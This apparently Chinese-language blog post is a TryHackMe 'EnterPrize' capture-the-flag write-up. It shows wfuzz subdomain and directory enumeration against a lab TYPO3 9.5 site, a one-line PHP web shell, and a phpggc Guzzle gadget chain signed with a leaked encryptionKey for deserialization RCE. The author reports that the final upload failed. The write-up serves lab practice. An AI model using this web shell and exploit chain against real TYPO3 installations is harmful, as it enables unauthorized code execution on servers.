扫描打点
什么都没有,枚举下子域名先
从后面的枚举网址发现typo3回来了,换用了更大的字典扫到了这个
1
wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.enterprize.thm" --hc 400 --hw 5 http://10.10.138.197/
找到子域名
maintest
,加一下hosts文件这就是typo3:
dirsearch
给出来一个:9.5版本的typo3,其最知名的漏洞是CVE-2019-12747,针对<9.5.7的版本的RCE漏洞,但该漏洞仅在有用户账户的情况下可以使用,而且小版本号未知,暂且排除
顺便再扫扫
maintest.enterprize.thm
但里面并没有什么东西
这个地方再次暴露出有懒狗喜欢用dirsearch的默认字典了,现在应该能枚举到
typo3conf
1
wfuzz -u 'http://maintest.enterprize.thm/FUZZ' -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt --hh 196
其中的
.old
文件大概率就是提示所说的 something old里面有个加密的密钥
以关键词
typo3 encryptionKey exploit
找到这个文章即encryptionKey用于计算HMAC,利用其进行反序列化传shell
typo3拿shell
准备一个php:
1
$output = system($_GET[1]); echo $output ;
用phpggc生成一个guzzle凭证
1
./phpggc -b --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/shell.php /root/Desktop/shell.php
注意那个 public,typo3在public下而非直接在html下
然后利用encryptionKey来为shell进行hmac加密
1
2
3
4
$secret = hash_hmac('sha1','[shell]',"[encryptionKey]");
print($secret);然后在 http://maintest.enterprize.thm/index.php?id=38 找到可以上传的地方:
理论上是那生成的shell拼接加密过的secret,放到
__state
下就上传到fileadmin/_temp_/shell.php
了,但显然并没有,看别的题解跟我过程一样,但他们没把poc复制出来导致我复现不了(找了个php7.2的docker,手动改了改phpggc的代码来符合语法,得到的结果是php7.2和php7.4并不会导致结果差异,被这个文章 骗了
然后就不知道为什么不对了,破防跑路
THM打靶日寄68-M4tr1x:Exit Denied
- 本文链接: http://noone40404.github.io/2025/05/09/THM打靶日寄69:EnterPrize/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!